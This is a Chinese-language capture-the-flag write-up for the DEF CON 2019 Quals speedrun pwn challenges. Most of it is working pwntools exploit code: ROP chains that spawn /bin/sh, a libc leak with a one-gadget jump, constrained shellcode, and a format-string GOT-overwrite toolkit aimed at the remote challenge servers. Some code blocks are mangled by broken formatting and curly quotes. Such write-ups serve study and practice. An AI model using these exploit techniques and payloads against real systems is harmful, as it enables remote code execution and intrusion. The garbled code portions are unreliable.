Easy challenges in DCQ

start

ALL exp&binary

speedrun-001

挺简单的一题溢出但是很玄学的是本地打通了远端打不通… 但是我发现居然是概率打通..我脚本没改过有时候打得通有时候打不通..玄学问题. 比较简单的题目就直接放exp了


from pwn import *
from struct import pack

puts=0x000000000410390
read=0x0000000004498A0
rax=0x0000000000415664
rdi=0x0000000000400686
bss=0x006b6000+0x3000
rsi=0x00000000004101f3
rdx=0x00000000004498b5
sys=0x0000000000474e65
setvbuf=0x000000000410590
push_rdi=0x00000000004236a5
push_rax_push_rsp=0x0000000000450ae3
rdx_rsi=0x000000000044be39
context.log_level='debug'
context.arch="amd64"
p=process('./speedrun-001')
#p=remote("52.53.247.202",31337)
#gdb.attach(p,'b * 0x000000000400B8B')

#p64(rdi)+p64(0x00000000006b9140)+p64(rsi)+p64(0)+p64(rdx)+p64(2)+p64(setvbuf)
payload='\x00'*0x408+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(8)+p64(bss)+p64(rax)+p64(0)+p64(sys)
payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(sys)



p.sendafter("words?\n",payload.ljust(0x7d0,'\x00'))

p.sendafter(" say: \n","/bin/sh\x00")
#p.sendline("cat flag")
p.interactive()

speedrun-002

  • bof
    from pwn import *
    puts=0x0000000004005B0
    rdi=0x00000000004008a3
    got=0x000000000601028
    reuse=0x00000000040074C
    #context.log_level='debug'
    libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
    #p=process('./speedrun-002')
    pay1=p64(rdi)+p64(got)+p64(puts)+p64(reuse)
    p=remote("speedrun-002.quals2019.oooverflow.io",31337)
    p.sendafter("now?\n","Everything intelligent is so boring.")
    p.sendafter("me more.\n",'\x00'*0x408+pay1)
    p.readuntil("ing.\n")
    base=u64(p.readline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
    log.info(hex(base))
    #gdb.attach(p,'')
    #raw_input()
    p.sendafter("now?\n","Everything intelligent is so boring.")
    pay2=p64(base+0x4f322)
    p.sendafter("me more.\n",'\x00'*0x408+pay2)
    sleep(0.8)
    p.sendline("cat flag")
    p.interactive()
    #OOO{I_didn't know p1zzA places__mAde pwners.}
    

    speedrun-003

  • shellcode ```python from pwn import * def xor(s,l=0xf): res=0x0 i=0 for x in s: i+=1 res^=ord(x) if i==l: return res

context.log_level=’debug’ context.arch=’amd64’ #p=process(‘./speedrun-003’) #gdb.attach(p,’b *0x000555555554997’) p=remote(“speedrun-003.quals2019.oooverflow.io”,31337) sh=’’’ xor rsi,rsi xor rdx,rdx mov al,0x68 push rax mov rdi,0x732f2f2f6e69622f push rdi mov rdi,rsp mov al,0x3b syscall ‘’’ payload=asm(sh).ljust(0x1d,’\x01’) fff=xor(payload) eee=xor(payload[0xf:],0xe) aaa=eee^fff payload+=chr(aaa) p.sendafter(“drift\n”,payload) sleep(0.8) p.sendline(“cat /flag”) p.interactive()

# speedrun-004
* bof
```python
from pwn import *
ret=0x0000000000400416
rdi=0x0000000000400686
rsi=0x0000000000410a93
rdx=0x000000000044a155
sys=0x0000000000474f15
bss=0x006b6000+0x800
rax=0x0000000000415f04
read=0x00000000044A140
#context.log_level='debug'
context.arch='amd64'
p=remote("speedrun-004.quals2019.oooverflow.io",31337)
#p=process('./speedrun-004')
#gdb.attach(p,'b *0x000000000400BD1')
p.sendlineafter("?\n",str(0x101))

pay=p64(ret)*15+p64(rdi)+p64(bss-0x800)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(rax)+p64(0xa)+p64(sys)
pay+=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x40)+p64(read)+p64(bss)
pay+="\x30"
p.sendafter("?\n",pay)
p.sendline(asm(shellcraft.sh()))
p.interactive()

speedrun-005

这题的形式没见过讲一下… 题目本身是挺简单的的主要是存在fmtstr漏洞又没有开pie和只开了partial relro所以我们可以通过got hijacking来控制执行流.

主要的特点是发现远端的binary和本地的不同所以得先利用printfdump确定一些gadget的地址 于是我写了一些函数用来dump内存和确定指定gadget的地址

from pwn import *
context.log_level='debug'
def cal(a,b):
	if (a-b)>0:
		return a-b
	else:
		return a-b+0x10000
def seek(seek,l=0):
	while(1):
		seek=seek+l
		p=remote("speedrun-005.quals2019.oooverflow.io",31337)
		#gdb.attach(p)
		pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
		p.sendlineafter("? ",pay)
		p.readuntil("ing ")
		data=p.readline()
		l=len(data)
		if "\x5f\xc3" in data:
			raw_input()
		p.close()
def preciser(seek):
	while(1):
		seek=seek+1
		p=remote("speedrun-005.quals2019.oooverflow.io",31337)
		#gdb.attach(p)
		pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
		p.sendlineafter("? ",pay)
		p.readuntil("ing ")
		data=p.readline()
		if not "\x5f\xc3" in data:
			log.warning(hex(seek))
			raw_input()
		p.close()

在获得了确切地址之后就可以直接call onegadget但是…明明我把$rsp+0x70设置为0了但是却没有成功…于是我开始控制stack来控制执行流…

期间遇到两个坑:

xmm

libc-2.27编译的时候被优化在执行system('/bin/sh')期间有用到xmm寄存器主要可能出错的地方是

   0x7ffff7a332e6 <do_system+1078>:	movq   xmm0,QWORD PTR [rsp+0x8]
   0x7ffff7a332ec <do_system+1084>:	mov    QWORD PTR [rsp+0x8],rax
   0x7ffff7a332f1 <do_system+1089>:	movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>:	movaps XMMWORD PTR [rsp+0x40],xmm0

此处因为xmm寄存器有128位要求rsp+0x40要按照字对齐所以我们在call_system的时候的栈地址要按照字对齐.

fmtstr

本题我的思路

  • 改的got@puts顺便泄漏
  • 改写stack上内容为rop做准备
  • 改写got@puts触发rop_chain 发现工程量有点大….加上远端有个5秒左右的alarm.所以只能一次把所有值设置好了….题目给的缓冲区比较充裕. 但是pwntools里自带的fmtstr_payload工具有些睿智….把地址放前面把自己给’\x00’截断了…. 于是自己写了个比较简陋的工具. shellcraft… ```python from pwn import * def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = “%” + str(result) + “c” elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = “%” + str(result) + “c” fmtstr += “%” + str(index) + “$hhn” return fmtstr def cal(i): if i<0: return i+256 return i def fmtstr(off,data,pre=0,space=0x180,arch=’amd64’,): if arch!=’amd64’: return False part2=”” for key in data.keys(): for offset in range(8): part2+=p64(key+offset) part1=”” idx=0 for value in data.values(): for offset in range(8): if value==0 and pre==0: part1+=”%”+str(off+idx+(space/8))+”$hhn” idx+=1 else: #print hex(value&0xff),hex(pre),hex(cal((value&0xff)-pre)) part1+=”%”+str(cal((value&0xff)-pre))+”c%”+str(off+(space/8)+idx)+”$hhn” pre=value&0xff value=value»8 idx+=1 return part1.ljust(space,”\x00”)+part2



## exp
```python
import fmtcraft
import time
from pwn import *
context.arch='amd64'
context.log_level='debug'
def cal(a,b):
	if (a-b)>0:
		return a-b
	else:
		return a-b+0x10000
def setvalue(address,value):
	p1=value&0xffff
	p2=(value&0xffff0000)>>16
	p3=(value&0xffffffff00000000)>>32
	pay="%{}c%{}$hn%{}c%{}$hn%{}c%{}$hn".format(p1,39,cal(p2,p1),40,cal(p3,p2),38).ljust(0x100,'\x00')+p64(address+4)+p64(address)+p64(address+2)
	p.sendlineafter("? ",pay)


libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
exp=1
local=0
if local:
	ret=0x0000000004007e4
	rdi=0x0000000004007E3
	got=0x000000000601018
	reuse=0x69d
	p=process('./speedrun-005')
else:
	ret=0x0000000000400894
	rdi=0x0000000000400893
	got=0x000000000601020
	reuse=0x72d
	p=remote("speedrun-005.quals2019.oooverflow.io",31337)
if exp:
	pay="%{}$n%{}c%{}$hn%{}c%{}$hn|%1$p|%2$p|".format(38,0x40,40,reuse-0x40,39).ljust(0x100,'\x00')+p64(got+4)+p64(got)+p64(got+2)
	p.sendlineafter("? ",pay)
	p.readuntil("|")
	stack=int(p.readuntil("|")[:-1],16)
	base=int(p.readuntil("|")[:-1],16)-(0x7ffff7dd18c0-0x7ffff79e4000)
	log.info(hex(stack))
	log.info(hex(base))
	# set value
	libc.address=base
	aim=0x7fffffffdfa8-0x7fffffffb4f0+stack
	address=aim
	sh=libc.search('/bin/sh').next()
	sys=libc.sym['system']
	puts=libc.sym['puts']
	data = {aim:rdi,aim+8:sh,aim+0x10:ret,aim+0x18:sys,got:puts}
	pay=fmtcraft.fmtstr(6,data,space=0x200)
	#gdb.attach(p)
	p.sendlineafter("? ",pay)
	p.interactive()

speedrun1-5

总体难度不大…但是如果比速度的话很考验功底了…比赛的时候同时在运维另一个比赛做题做的断断续续…好像现在dcq平台还不给登陆了…桑❤️